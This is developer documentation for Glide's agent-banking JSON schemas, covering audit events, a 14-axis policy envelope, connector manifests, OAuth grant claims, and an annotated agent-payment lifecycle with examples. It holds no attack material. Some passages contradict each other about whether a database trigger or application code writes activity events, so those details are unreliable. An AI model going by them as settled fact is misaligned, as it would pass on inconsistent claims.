* **Using `+00:00` for `isoDateTimeUtc`.** The `Z` suffix is required. tRPC, MCP, JWT `iat`/`nbf`/`exp`, and Privy all use different serializers — the `Z`-only contract eliminates parser ambiguity at every boundary.
* **Treating `chainId` as a CAIP-2 identifier.** The wire format uses Glide short-ids (`base`, not `eip155:8453`). Use `chainIdToCaip2()` / `caip2ToChainId()` from `@glideco/schemas` at protocol boundaries that speak CAIP-2 (x402, AP2, ACP).
* **Comparing `chainAddress` values without normalizing case.** EVM addresses are case-insensitive (mixed-case is EIP-55 checksum); Solana addresses are case-sensitive base58. Use chain-aware comparison helpers, not raw string equality.
* **Assuming `uuidV4` means strictly v4.** The name is historical; the pattern accepts UUID v1–v8 plus all-zero / all-F sentinels. UUIDv7 (used for time-ordered IDs in newer tables) is valid here.
## Reading list
* [ScopedGrantClaims](/oss/standards/scoped-grant-claims) — heavy consumer of `uuidV4`, `unixSecondsPositive`, and `agentScope`.
* [AgentActivityEvent](/oss/standards/agent-activity-event) — uses `isoDateTimeUtc`, `uuidV4`, and `agentActivityEventKind`.
* [ConnectorManifest](/oss/standards/connector-manifest) — uses `trustTier`, `connectorCapability`, `currencyCode`, `regionCode`.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/apps/web/public/schemas/agent-banking/v1/_types.json)
# AgentActivityEvent (v1)
Source: https://glide-9da73dea.mintlify.app/oss/standards/agent-activity-event
Append-only audit event emitted after every MCP tool call. Consumed by the Trust Console, audit:stream subscribers, and ops dashboards.
`AgentActivityEvent` describes the audit-event projection consumed by the Trust Console and authorized agent clients. Server-side handlers write activity records. The F4 Postgres trigger guards updates and deletion, with a separate authorized DSAR redaction path; it does not create every event on behalf of application code.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/agent-activity-event.json`](https://glide.co/schemas/agent-banking/v1/agent-activity-event.json)
## Required fields
| Field | Type | Notes |
| ----------- | ---------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `eventType` | `string` (1–64 chars) | Free-text event-kind label retained for backward compat with the original `/draft/` placeholder shape. New producers SHOULD also set `eventKind`. If both are present they MUST match. |
| `timestamp` | `isoDateTimeUtc` | When the event occurred (UTC, `Z` suffix required). Server-stamped at the producer — the trigger never trusts a clock value supplied by an agent runtime. |
| `agentId` | `string` (1–128 chars) | `agent_principal_id` of the acting agent. UUIDv4 in production; the looser `string` type keeps backward compat with placeholder draft data and operator-emitted events. |
## Optional fields
| Field | Type | Notes |
| --------------- | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `schemaVersion` | `'v1'` | Locks the event to the v1 schema. Absence is treated as v1 by consumers; a non-`'v1'` value MUST be refused at ingest. |
| `eventKind` | `agentActivityEventKind` | Closed enum (see below). Preferred over `eventType` for new producers. Unknown values drop the event at ingest — don't emit values outside the enum. |
| `eventId` | `uuidV4` | Unique identifier for this event row. Consumers de-duplicate on this. Older streams used the DB row `id`; new producers SHOULD always set it. |
| `principalId` | `uuidV4 \| null` | Human principal whose vault is being acted on. Null for system-emitted events (kill-switch, scheduled jobs). |
| `vaultId` | `uuidV4 \| null` | Vault the action targets. Together with `principalId` forms the RFC 8707 audience binding. Null for system events not tied to a specific vault. |
| `grantId` | `uuidV4 \| null` | JTI of the grant that authorized this action. Null for events not tied to a grant (e.g. operator-initiated kill-switch). |
| `toolCallId` | `uuidV4 \| null` | ID of the MCP tool call this event describes. Null for non-tool-call events (e.g. `consent_granted`). |
| `summary` | `string` (1–280 chars) | Human-readable one-line summary for the Trust Console list row. Plain text, no markdown, no PII unless the principal already has access to it. |
| `extra` | `object` | Open-ended bag for kind-specific fields (risk verdict reason text, anomaly score, etc.). Producers MUST keep this under 4 kB. Consumers MUST treat unknown keys as opaque. Allows event-shape evolution without bumping `schemaVersion`. |
### `eventKind` vocabulary
| Value | When emitted |
| ----------------------- | --------------------------------------------------------------------------- |
| `tool_call` | Any MCP tool completes (allowed or denied). |
| `reasoning_step` | Agent runtime emits a reasoning trace to the Trust Console (opt-in). |
| `risk_verdict` | Policy engine produces a verdict (`allow` / `allow_with_step_up` / `deny`). |
| `anomaly_detected` | `@glideco/anomaly` heuristics fire on a tool call. |
| `consent_prompt` | Step-up auth prompt sent to the principal. |
| `consent_granted` | Principal completed the step-up. |
| `consent_denied` | Principal declined or the prompt timed out. |
| `step_up_required` | Policy engine flipped verdict to `allow_with_step_up`. |
| `step_up_completed` | Step-up sigil consumed; execution proceeds. |
| `policy_violation` | Tool call exceeded a hard cap or counterparty allowlist gate. |
| `grant_issued` | OAuth AS issued a new grant. |
| `grant_revoked` | A grant was revoked (operator or principal action). |
| `kill_switch_triggered` | Forensic kill-switch fired for an agent or vault. |
## Lifecycle
Server-side handlers write activity events for the operations they handle. The event's kind, tool-call identifier and recorded status distinguish a completed action, a denial and an approval request.
**Who consumes:**
* **Trust Console UI** — tails the table via a tRPC subscription with per-principal row-level security.
* **`audit:stream` MCP scope** — exposes a read-only window to authorized agent runtimes. Scoped to the calling grant's `vaultId`; cross-vault reads are refused.
* **Ops dashboards** — query `activity_log` directly (read-only DB role), filtering on `agent_principal_id IS NOT NULL`.
**Retention:** the `activity_log` table is append-only with no TTL at v1. Row-level security ensures each principal can only read their own events. Future versions may introduce archival tiers (see `@glideco/compliance-export`).
## Example
```ts theme={null}
import { z } from 'zod';
// AgentActivityEvent is the JSON Schema shape; in TypeScript use the
// @glideco/schemas package for runtime validation.
const AgentActivityEvent = z.object({
schemaVersion: z.literal('v1').optional(),
eventType: z.string().min(1).max(64),
eventKind: z.enum([
'tool_call', 'reasoning_step', 'risk_verdict', 'anomaly_detected',
'consent_prompt', 'consent_granted', 'consent_denied',
'step_up_required', 'step_up_completed', 'policy_violation',
'grant_issued', 'grant_revoked', 'kill_switch_triggered',
]).optional(),
eventId: z.string().uuid().optional(),
timestamp: z.string().datetime(),
agentId: z.string().min(1).max(128),
principalId: z.string().uuid().nullable().optional(),
vaultId: z.string().uuid().nullable().optional(),
grantId: z.string().uuid().nullable().optional(),
toolCallId: z.string().uuid().nullable().optional(),
summary: z.string().min(1).max(280).optional(),
extra: z.record(z.unknown()).default({}),
});
const event = AgentActivityEvent.parse({
schemaVersion: 'v1',
eventType: 'tool_call',
eventKind: 'tool_call',
eventId: '11111111-1111-4111-8111-111111111111',
timestamp: '2026-05-04T12:00:00.000Z',
agentId: '22222222-2222-4222-8222-222222222222',
principalId: '33333333-3333-4333-8333-333333333333',
vaultId: '44444444-4444-4444-8444-444444444444',
grantId: '55555555-5555-4555-8555-555555555555',
toolCallId: '66666666-6666-4666-8666-666666666666',
summary: 'Initiated $250.00 USDC payment via payments.initiate',
extra: { risk_verdict: 'allow', rail: 'usdc-base' },
});
```
## Validation
The event is validated three ways:
1. **At write time** by the producing application and its schema validation. The append-only trigger guards mutations; it is not a JSON Schema event validator.
2. **At build time** via `scripts/validate-manifests.mjs`:
```bash theme={null}
pnpm --filter '@glideco/schemas' validate-events
```
3. **Against the published JSON Schema** for consumer-side validation:
```bash theme={null}
npx ajv-cli validate \
-s https://glide.co/schemas/agent-banking/v1/agent-activity-event.json \
-d ./my-event.json
```
## Common pitfalls
* **Setting `eventKind` but not `eventType`.** The schema marks `eventType` as required for backward compat. Both fields must be set and must match.
* **Omitting `eventId` on new producers.** Consumers de-duplicate on `eventId`. Without it, retried deliveries create duplicate Trust Console rows.
* **Passing a non-UTC `timestamp`.** The `isoDateTimeUtc` type requires the `Z` suffix. `+00:00` offset strings fail schema validation and are rejected at ingest.
* **Emitting an `eventKind` value outside the closed enum.** Unknown values are dropped at ingest without error. The enum is CODEOWNERS-protected — new values require a schema migration.
* **Storing PII in `summary`.** The `summary` field renders in the Trust Console list row, which may be visible to support staff. Keep it to action + amount + rail — no email addresses, phone numbers, or wallet addresses.
## Reading list
* [AgentPolicyEnvelope](/oss/standards/agent-policy-envelope) — the envelope that produced the `risk_verdict` captured in `extra`.
* [Receipt](/oss/standards/receipt) — the companion write-side record for money-touching calls.
* [Grant](/oss/standards/grant) — the `grantId` / `jti` this event references.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F4 IRON RULE that makes this table append-only.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/apps/web/public/schemas/agent-banking/v1/agent-activity-event.json)
# AgentPolicyEnvelope (v1)
Source: https://glide-9da73dea.mintlify.app/oss/standards/agent-policy-envelope
14-axis policy envelope evaluated by @glideco/policy-engine on every agent tool call.
The policy envelope is the multisig-governed permission boundary every agent operates inside. Issued at install time, attached to every grant JWT, evaluated server-side on every tool invocation.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/agent-policy-envelope.json`](https://glide.co/schemas/agent-banking/v1/agent-policy-envelope.json)
## 14 axes
These are the field names evaluated by `@glideco/policy-engine`. The runtime source controls enforcement; some descriptions in the published schema still reflect older assumptions.
| Axis | Input required | Empty-array semantic |
| ----------------------------------------- | ------------------------------------------------------------------------------ | ----------------------------------- |
| `chain_allowlist` | `request.counterparty.chain` | `deny` when counterparty is present |
| `amount_cap_cents_per_tx` | `request.amount_cents` | n/a (number) |
| `amount_cap_cents_per_day` | `velocity_context.amount_cents_spent_today` | n/a (number) |
| `amount_cap_cents_lifetime` | `velocity_context.amount_cents_spent_lifetime` | n/a (number) |
| `step_up_amount_cents` | `request.amount_cents` | n/a (soft trigger) |
| `counterparty_allowlist` | `request.counterparty` | `open` (any counterparty allowed) |
| `mcc_blocklist` | `request.mcc` | no-op |
| `mcc_allowlist` | `request.mcc` | `open` (any MCC allowed) |
| `geo_allowlist` | `request.geo` | `open` (any geo allowed) |
| `time_window_start` | `request.requested_at_unix` | n/a (optional) |
| `time_window_end` | `request.requested_at_unix` | n/a (optional) |
| `velocity_max_txs_per_hour` | `velocity_context.txs_in_last_hour` | n/a (number) |
| `velocity_max_txs_per_day` | `velocity_context.txs_in_last_day` | n/a (number) |
| `velocity_multiple_of_baseline_threshold` | `velocity_context.txs_in_last_hour` + `velocity_context.baseline_txs_per_hour` | n/a (number) |
`chain_allowlist: []` + a counterparty present → `deny`. This is the one axis
that defaults to deny rather than open when empty, because chain restriction is a
required posture for any agent that can transact.
## Enforcement
The evaluator returns `allow`, `allow_with_step_up` or `deny`. The application supplies current policy and velocity data and enforces the result before requesting signing or settlement. Provider-native controls and application checks are separate layers; the schema alone does not prove that every axis is enforced by a wallet provider.
## Example
```json theme={null}
{
"policy_id": "11111111-1111-4111-8111-111111111111",
"vault_id": "22222222-2222-4222-8222-222222222222",
"policy_version": 1,
"amount_cap_cents_per_tx": 50000,
"amount_cap_cents_per_day": 200000,
"step_up_amount_cents": 100000,
"counterparty_allowlist": [
{
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC"
}
],
"velocity_max_txs_per_hour": 5,
"velocity_max_txs_per_day": 20,
"chain_allowlist": [
"base",
"sol"
],
"geo_allowlist": [
"US",
"GB"
],
"mcc_allowlist": [],
"mcc_blocklist": [
"7995"
],
"created_at": "2026-04-25T00:00:00.000Z",
"updated_at": "2026-04-25T00:00:00.000Z"
}
```
## `policy_version`
Every envelope carries a monotonic `policy_version` counter. Mid-flight policy changes (signer rotation, tier change) advance it; in-flight tool calls compare against current and raise `PolicyStaleError` on mismatch (F5 IRON RULE).
## Relation to skill policy templates
`SkillManifest` ships a `policyTemplate` that's a strict subset of `AgentPolicyEnvelope`. Skill defaults map to the runtime envelope fields shown above.
The principal can tighten any axis at install time. Loosening above the package default requires editing the policy template + a fresh install.
## Reading list
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F5 (atomic policy\_version on signer rotation).
* [SkillManifest](/oss/standards/skill-manifest) — how skills consume the envelope.
* [Authoring a skill](/oss/skills/authoring) — 4-tier policy preset pattern.
# ConnectorManifest (v1)
Source: https://glide-9da73dea.mintlify.app/oss/standards/connector-manifest
Schema for vendor connector packages at packages/connectors//. Defines capabilities, regions, currencies, egress hosts, compliance disclosures.
The OSS connector manifest. Every package at `packages/connectors//` ships one of these as `src/manifest.ts`.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/connector-manifest.json`](https://glide.co/schemas/agent-banking/v1/connector-manifest.json)
## Required fields
| Field | Type | Notes |
| -------------------------- | ---------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `schemaVersion` | `'v1'` | Locks the manifest to v1. |
| `slug` | `string` (lowercase kebab-case) | Becomes the package directory name. |
| `displayName` | `string` | Human-readable name. |
| `vendor` | `string` | The vendor's identifier. May differ from slug. |
| `trust` | `'community' \| 'verified' \| 'core'` | Quality-based trust tier. |
| `capabilities` | `Capability[]` | Array of declared capabilities (orchestration, kyc, card, screening, chain-receipt, balance, auth, banking, qr-gateway, oauth-authorization-server, attestation, merkle-anchor, timelock-module, recovery). |
| `regions` | `string[]` | ISO 3166-1 alpha-2 codes; or `*` for global. |
| `currencies` | `string[]` | ISO 4217 codes + crypto symbols. |
| `egressHosts` | `string[]` | Every host the connector touches at runtime. Enforced by the egress-host lint CI gate. |
| `compliance.jurisdictions` | `string[]` | Where the vendor is licensed. |
| `compliance.licenses` | `string[]` | Human-readable license names ("FinCEN MSB", "BitLicense", etc.). |
| `compliance.dataResidency` | `string[]` | Regions where the vendor stores customer PII. |
| `compliance.amlPosture` | `'vendor-screened' \| 'pass-through' \| 'unscreened'` (optional) | The connector's AML posture. |
| `packageVersion` | `string` | Semver of the package. |
| `iconPath` | `string` (defaults `./icon.svg`) | Relative path to the package's icon. |
| `isMock` | `boolean` (defaults `false`) | `true` for mock/fixture connectors. |
| `homepage` | `string` (URL, optional) | Vendor or package homepage. |
| `changelogUrl` | `string` (URL, optional) | Where to read changelog entries. |
## Example
```ts theme={null}
import { ConnectorManifest } from '@repo/connectors-base';
export const manifest = ConnectorManifest.parse({
schemaVersion: 'v1',
slug: 'my-vendor',
displayName: 'My Vendor',
vendor: 'my-vendor',
trust: 'core',
capabilities: ['orchestration', 'kyc'],
regions: ['US', 'EU', 'GB'],
currencies: ['USD', 'EUR', 'GBP', 'USDC'],
egressHosts: ['api.my-vendor.com'],
compliance: {
jurisdictions: ['US', 'EU', 'GB'],
licenses: ['My Vendor MSB'],
dataResidency: ['US', 'EU'],
amlPosture: 'vendor-screened',
},
packageVersion: '0.1.0',
});
```
## Validating against the schema
The manifest is validated three ways:
1. **At build time** by Zod via `ConnectorManifest.parse(manifest)`.
2. **At PR time** by `scripts/validate-manifests.mjs` (the connector-skill-ci CI gate).
3. **At publish time** by the standards-implementer using the JSON Schema document directly:
```bash theme={null}
npx ajv-cli validate \
-s https://glide.co/schemas/agent-banking/v1/connector-manifest.json \
-d ./my-manifest.json
```
## Relation to capability interfaces
The `capabilities` array is the **declaration**; the actual TypeScript implementation lives at `packages/connectors/_base/src/capabilities/.ts`. The contract test suite (extending `ContractTestSuite` from `@repo/connectors-base`) asserts that each declared capability has a runtime implementation.
## Reading list
* [Adding a connector](/oss/connectors/extending) — partner-PR flow.
* [License compatibility](/oss/security/license-compatibility) — what dependencies the manifest's package.json can pull.
# Grant (v1)
Source: https://glide-9da73dea.mintlify.app/oss/standards/grant
OAuth bearer grant JWT claims. RFC 8707 resource-indicator-bound; max TTL 60min.
The bearer grant agent runtimes carry on every MCP tool call. Issued by the OAuth Authorization Server (Ory Hydra in production; HMAC-SHA256 in development). Verified by `@glideco/grant-wrapper` on every tool invocation per the F3 IRON RULE.
## Canonical URL
[`https://glide.co/schemas/agent-banking/v1/grant.json`](https://glide.co/schemas/agent-banking/v1/grant.json) (alias of `scoped-grant-claims`).
## Required claims
| Claim | Type | Meaning |
| ---------------- | -------------- | ------------------------------------------------------------ |
| `sub` | `string` | Principal user ID (the human). |
| `act.sub` | `string` | Agent principal ID (the acting agent). |
| `azp` | `string` | Authorized party — the registered MCP `client_id`. |
| `aud.vault_id` | `string` | Scoped resource vault (RFC 8707 resource indicator). |
| `aud.entity_id` | `string` | Scoped resource entity. |
| `scope` | `agentScope[]` | Array of closed-vocabulary scope strings. |
| `policy_version` | `number` | Envelope version at grant issue time. F5 mismatch detection. |
| `iat` | `number` | Issued at (epoch seconds). |
| `nbf` | `number` | Not before (epoch seconds). |
| `exp` | `number` | Expiry (epoch seconds). **Max TTL: 3600 (60 minutes).** |
| `jti` | `string` | Server-side grant ID for revocation. |
## Validation contract
`@glideco/grant-wrapper` re-validates every grant on every tool invocation:
1. **JWT signature** — verified against the AS's JWKS.
2. **`exp` not in past** — bearer expiry.
3. **`exp - iat ≤ 3600`** — max TTL enforcement.
4. **`aud.vault_id` present + matches the resource indicator on the request** — RFC 8707 enforcement.
5. **`act.sub` corresponds to a registered agent** — DB lookup.
6. **F3 IRON RULE — fresh-read tenant verification.** Re-reads the principal's tenant from DB. Cached grant alone NEVER authorizes.
7. **`policy_version` matches the current envelope** — mismatch raises `PolicyStaleError` (F5).
## Step-up extension
When the requested tool action exceeds the envelope's `step_up_amount_cents`, the gateway returns JSON-RPC `-32003` with a `step_up_url`. The principal completes biometric approval; the gateway issues a `step_up_sigil` (single-use, F7); the agent retries with the sigil.
## Example
```json theme={null}
{
"iss": "https://auth.glide.example.com",
"sub": "user_01H7...",
"act": { "sub": "agent_01H8..." },
"azp": "client_01H9...",
"aud": {
"vault_id": "vault_01HA...",
"entity_id": "entity_01HB..."
},
"scope": ["accounts:read", "payments:initiate", "audit:stream"],
"policy_version": 7,
"iat": 1730000000,
"nbf": 1730000000,
"exp": 1730003600,
"jti": "grant_01HC..."
}
```
## Reading list
* [OAuth flow](/oss/headless/oauth-flow) — RFC 7591 + 8707 + PKCE walkthrough.
* [AgentPolicyEnvelope](/oss/standards/agent-policy-envelope) — what `policy_version` references.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F3 + F5.
# Public schemas (v1)
Source: https://glide-9da73dea.mintlify.app/oss/standards/index
Published v1 JSON Schema documents for Glide agent integrations, with runtime-source verification guidance.
Glide ships nine JSON Schema documents at the public standards URL [`glide.co/schemas/agent-banking/v1/`](https://glide.co/schemas/agent-banking/v1/). Each schema is generated from the corresponding Zod schema in `@glideco/schemas` (or `@repo/connectors-base` / `@glideco/skills-base`) and hand-curated for partner readability. The companion [Lifecycle](/oss/standards/lifecycle) page traces one agent payment through every schema in the set, with a Mermaid sequence diagram and per-step instances.
The `/v1/` files are served alongside compatibility `/draft/` files. Some `$id` values and descriptive annotations still retain older assumptions. For enforcement behavior, check the current Zod source and policy evaluator. In particular, an empty counterparty allowlist leaves that axis unrestricted at runtime.
## Schemas
The OSS connector manifest. Every package at `packages/connectors//` ships one.
The 14-axis policy envelope evaluated by `@glideco/policy-engine` on every agent tool call.
The OSS agent-skill manifest. Every package at `packages/skills//` ships one.
OAuth bearer grant JWT claims. RFC 8707 resource-indicator-bound; max TTL 60min.
Tool-call receipt persisted in `activity_log` after a money-touching MCP call settles.
Quality-based trust tier for connectors + skills. Community / verified / core.
Plus three supporting schemas:
* **`AgentActivityEvent`** — Trust Console event taxonomy. Closed `eventKind` enum + open `extra` bag for kind-specific fields. Walkthrough at [`/oss/standards/agent-activity-event`](/oss/standards/agent-activity-event); raw schema at [`/v1/agent-activity-event.json`](https://glide.co/schemas/agent-banking/v1/agent-activity-event.json).
* **`ScopedGrantClaims`** — JWT claims emitted by the OAuth AS. RFC 8707 resource-indicator-bound; tighter than the application-level `Grant`. Walkthrough at [`/oss/standards/scoped-grant-claims`](/oss/standards/scoped-grant-claims); raw schema at [`/v1/scoped-grant-claims.json`](https://glide.co/schemas/agent-banking/v1/scoped-grant-claims.json).
* **`_types.json`** — Shared `$defs` (`uuidV4`, `isoDateTimeUtc`, `chainId`, `currencyCode`, `agentScope`, `riskVerdict`, `trustTier`, etc.) referenced via `$ref` by every other schema. Walkthrough at [`/oss/standards/_types`](/oss/standards/_types); raw schema at [`/v1/_types.json`](https://glide.co/schemas/agent-banking/v1/_types.json).
## Versioning contract
* **`/v1/`** — current canonical channel. **Locked.** Breaking changes require `/v2/` with both versions live + a public deprecation window of at least 6 months.
* **`/v1.1/`** — additive-only updates within v1 are permitted in-place (new optional fields, new closed-enum values for forward-compatible enums). Existing `/v1/` consumers MUST continue to validate against any `/v1.1/+` document.
* **`/draft/`** — deprecated alias retained for backward compatibility. Mirrors `/v1/` exactly. Will not receive new features.
The `/v1/` path is reserved permanently. Any schema-breaking change post-v1 becomes a migration cost for every integrator — that's the deliberate cost of the lock.
## Citing schemas
Link to the served `/v1/` document and inspect its actual `$id` when configuring reference resolution. Do not assume that the retrieval URL and embedded identifier match. Automated review scores do not establish runtime conformance.
## Generating + publishing
Schemas are generated from the Zod source via:
```bash theme={null}
pnpm --filter '@glideco/schemas' build-schemas
# emits dist/schemas/draft/*.json (auto-generated)
```
The hand-curated public copies under `apps/web/public/schemas/agent-banking/{draft,v1}/` carry richer descriptions, `$ref` to `_types.json`, and partner-friendly examples beyond what `z.toJSONSchema()` emits. The build script warns on structural drift between Zod and the public copy without overwriting it.
## Standards governance
The `PUBLISHED_SCHEMA_NAMES` vocabulary (the closed set of names published as standards) is CODEOWNERS-protected. Adding a new standard schema is a public-API change requiring maintainer sign-off + a backward-compatibility review.
# Agent payment lifecycle
Source: https://glide-9da73dea.mintlify.app/oss/standards/lifecycle
Annotated flow tracing one agent payment from policy envelope to audit row. Shows the schema instance at each step.
This page traces the full lifecycle of a single agent-initiated payment: from the operator publishing a policy through to the audit row that proves it happened. Each arrow in the diagram below names the actor and the action; each step below the diagram shows the schema instance on the wire at that moment.
## Sequence diagram
```mermaid theme={null}
sequenceDiagram
participant Operator
participant OAuthAS as OAuth AS (Ory Hydra)
participant Agent
participant MCPServer as MCP Server
participant PolicyEngine as @glideco/policy-engine
participant DB as Postgres
Operator->>DB: Publish AgentPolicyEnvelope (policy_version bumped)
Agent->>OAuthAS: client_credentials grant request
(client_id, resource indicator, requested scope)
OAuthAS->>DB: Verify agent principal + check policy_version
OAuthAS-->>Agent: ScopedGrantClaims (signed JWT)
Agent->>MCPServer: MCP tool call
(Bearer: , toolName, params)
MCPServer->>MCPServer: @glideco/grant-wrapper validates JWT
(sig, exp, aud, act.sub, policy_version F3+F5)
MCPServer->>PolicyEngine: evaluate(envelope, toolCall, grantClaims)
PolicyEngine-->>MCPServer: RiskVerdict (allow / allow_with_step_up / deny)
MCPServer->>DB: Settle tool call + write Receipt
DB->>DB: F4 trigger writes AgentActivityEvent
to activity_log agent columns (append-only)
MCPServer-->>Agent: Receipt (JSON-RPC result)
```
## Step-by-step schema instances
### Step 1 — operator publishes AgentPolicyEnvelope
The operator configures which vaults an agent can touch, what amounts it can move, which chains and counterparties are allowed, and when the policy is active. Whenever any field changes, `policy_version` increments. All downstream grants and verifications key off this monotonic counter.
```ts theme={null}
import { agentPolicyEnvelopeSchema } from '@glideco/schemas';
const envelope = agentPolicyEnvelopeSchema.parse({
policy_id: '10000000-0000-4000-8000-000000000001',
vault_id: '20000000-0000-4000-8000-000000000002',
policy_version: 7,
// Amount caps
amount_cap_cents_per_tx: 50_000, // $500 per transaction
amount_cap_cents_per_day: 200_000, // $2,000 per rolling 24h
step_up_amount_cents: 25_000, // step-up required above $250
// non-empty allowlist closes the gate; empty allowlist (default) means no counterparty restriction
counterparty_allowlist: [
{ address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045', chain: 'base', token: 'USDC' },
],
chain_allowlist: ['base', 'eth'],
geo_allowlist: ['US', 'GB', 'DE'],
mcc_allowlist: [],
mcc_blocklist: ['7995'], // gambling blocked
created_at: '2026-05-01T00:00:00.000Z',
updated_at: '2026-05-04T09:00:00.000Z',
});
```
### Step 2 — agent requests a grant from the OAuth AS
The agent authenticates using `client_credentials` (server-to-server) or an authorization-code flow (user-delegated). It specifies the vault it wants to access via an RFC 8707 resource indicator and requests the minimum scope set needed.
```
POST https://auth.glide.co/oauth2/token
Content-Type: application/x-www-form-urlencoded
grant_type=client_credentials
&client_id=ap-agent-acme-prod
&client_secret=
&resource=https://api.glide.co/vaults/20000000-0000-4000-8000-000000000002
&scope=payments:initiate+accounts:read
```
The AS verifies that `ap-agent-acme-prod` is a registered principal for this vault, reads the current `policy_version`, and signs the JWT.
### Step 3 — OAuth AS issues ScopedGrantClaims (JWT)
```ts theme={null}
import { grantClaimsSchema } from '@glideco/schemas';
const claims = grantClaimsSchema.parse({
iss: 'https://auth.glide.co',
sub: '30000000-0000-4000-8000-000000000003', // human principal
act: { sub: '40000000-0000-4000-8000-000000000004' }, // agent principal
azp: 'ap-agent-acme-prod',
aud: {
vault_id: '20000000-0000-4000-8000-000000000002',
entity_id: '50000000-0000-4000-8000-000000000005',
},
scope: ['accounts:read', 'payments:initiate'],
policy_version: 7,
iat: 1746355200,
nbf: 1746355200,
exp: 1746358800, // iat + 3600 (60-min cap)
jti: '60000000-0000-4000-8000-000000000006',
});
```
The JWT is returned as an opaque Bearer token. The agent stores it in memory; it is never written to disk or logged.
### Step 4 — agent makes an MCP tool call
```
POST https://mcp.glide.co/mcp
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "payments.initiate",
"arguments": {
"toAddress": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC",
"amountCents": 10000
}
},
"id": "call-01"
}
```
### Step 5 — MCP server validates the grant
`@glideco/grant-wrapper` runs seven checks in order (see [ScopedGrantClaims — Validation contract](/oss/standards/scoped-grant-claims#validation-contract)) before the tool handler runs. If any check fails, the tool call returns JSON-RPC error `-32001` (auth failure) or `-32003` (step-up required) before executing the requested action. Grant verification itself includes database reads.
### Step 6 — policy engine evaluates the envelope
`@glideco/policy-engine` receives the current envelope (fetched fresh from DB and cached by `(vault_id, policy_version)`) plus the tool call parameters. It evaluates every configured axis in deterministic order and returns one of three verdicts:
| Verdict | Meaning |
| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `allow` | All caps satisfied; proceed. |
| `allow_with_step_up` | Amount exceeds `step_up_amount_cents`; principal must complete biometric step-up before the tool can execute. The gateway returns JSON-RPC `-32003` with a `step_up_url`. |
| `deny` | Hard cap exceeded, counterparty not on allowlist, geo blocked, or MCC blocked. Call rejected. |
Denied calls do not produce a `Receipt` — only an `AgentActivityEvent` with `eventKind: 'risk_verdict'` and `eventKind: 'policy_violation'`.
### Step 7 — receipt written after settlement
```ts theme={null}
import { receiptSchema } from '@glideco/schemas';
const receipt = receiptSchema.parse({
receipt_id: '70000000-0000-4000-8000-000000000007',
principal_id: '30000000-0000-4000-8000-000000000003',
agent_principal_id: '40000000-0000-4000-8000-000000000004',
grant_id: '60000000-0000-4000-8000-000000000006',
policy_version: 7,
tool_call_id: '80000000-0000-4000-8000-000000000008',
idempotency_key: 'ap-agent-acme-prod:inv-2026-0504-001',
action: 'payments.initiate',
risk_verdict: 'allow',
rail: 'usdc-base',
vendor_used: 'bridge',
amount_cents: 10000, // $100.00 — server-derived from chain RPC
currency: 'USDC',
counterparty_address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
counterparty_chain: 'base',
counterparty_token: 'USDC',
on_chain_tx: '0xabc123...', // fetched from chain RPC, never from facilitator body
timestamp: '2026-05-04T12:01:23.456Z',
});
```
Settlement is recorded separately from the initial `payments.initiate` response. That tool returns a pending action identifier; acceptance is not proof of settlement.
### Step 8 — application writes AgentActivityEvent
Server-side application code writes the activity record. The F4 trigger protects the append-only log against unauthorized mutation; it does not generate the event.
```ts theme={null}
// The trigger produces this shape automatically — application code never constructs it.
const event = {
schemaVersion: 'v1',
eventType: 'tool_call',
eventKind: 'tool_call',
eventId: '90000000-0000-4000-8000-000000000009',
timestamp: '2026-05-04T12:01:23.456Z',
agentId: '40000000-0000-4000-8000-000000000004',
principalId:'30000000-0000-4000-8000-000000000003',
vaultId: '20000000-0000-4000-8000-000000000002',
grantId: '60000000-0000-4000-8000-000000000006',
toolCallId: '80000000-0000-4000-8000-000000000008',
summary: 'Settled $100.00 USDC via payments.initiate on base',
extra: {
risk_verdict: 'allow',
rail: 'usdc-base',
vendor_used: 'bridge',
},
};
```
The Trust Console and `audit:stream` subscribers tail this table in real time.
## Schema cross-reference
| Schema | Where it lives in the flow |
| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------- |
| [`AgentPolicyEnvelope`](/oss/standards/agent-policy-envelope) | Published by operator before the flow starts; `policy_version` threads through every subsequent schema. |
| [`ScopedGrantClaims`](/oss/standards/scoped-grant-claims) | JWT issued by OAuth AS at step 3; carried as Bearer token; re-validated at step 5. |
| [`Grant`](/oss/standards/grant) | Same wire format as `ScopedGrantClaims`; the developer-facing explanation of each JWT claim. |
| [`Receipt`](/oss/standards/receipt) | Written at step 7 after settlement; `on_chain_tx` is server-fetched, never from facilitator body. |
| [`AgentActivityEvent`](/oss/standards/agent-activity-event) | Written by the application at step 8; protected by the append-only trigger. |
| [`_types`](/oss/standards/_types) | `uuidV4`, `amountCents`, `chainId`, `isoDateTimeUtc`, `agentScope`, etc. referenced by every schema above. |
## Reading list
* [OAuth flow](/oss/headless/oauth-flow) — the `client_credentials` → JWT exchange in full detail.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — the IRON RULES (F3, F4, F5) that each lifecycle step enforces.
* [AgentPolicyEnvelope](/oss/standards/agent-policy-envelope) — all 14 policy axes and their evaluation order.
* [`@glideco/policy-engine`](https://www.npmjs.com/package/@glideco/policy-engine) — the open-source reference implementation of step 6.
# Receipt (v1)
Source: https://glide-9da73dea.mintlify.app/oss/standards/receipt
Tool-call receipt persisted in activity_log after a money-touching MCP call settles.
